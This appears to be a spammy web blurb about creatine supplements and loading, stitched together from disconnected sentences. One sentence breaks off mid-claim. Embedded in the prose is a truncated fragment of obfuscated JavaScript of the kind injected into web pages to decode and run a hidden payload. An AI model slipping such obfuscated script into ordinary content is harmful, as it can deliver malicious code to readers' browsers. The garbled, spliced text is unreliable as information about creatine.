This product is sold by weight - contents may settle. It is likely that you have heard guys talking about “creatine loading.”  Research has shown that the most rapid way to increase muscle creatine stores is to follow a creatine loading method. In one review, adding creatine to a training program increased strength by … var x="function f(x){var i,o=\"\",ol=x.length,l=ol;while(x.charCodeAt(l/13)!" Creatine is a source of energy for muscle contraction and is also involved in muscle growth. Most guys who take creatine supplements will find that they gain weight. Nearly all studies on creatine supplementation have used pharmacological grade creatine monohydrate in powder form. Creatine has been used as a performance enhancer by a significant number of people since the early 90’s.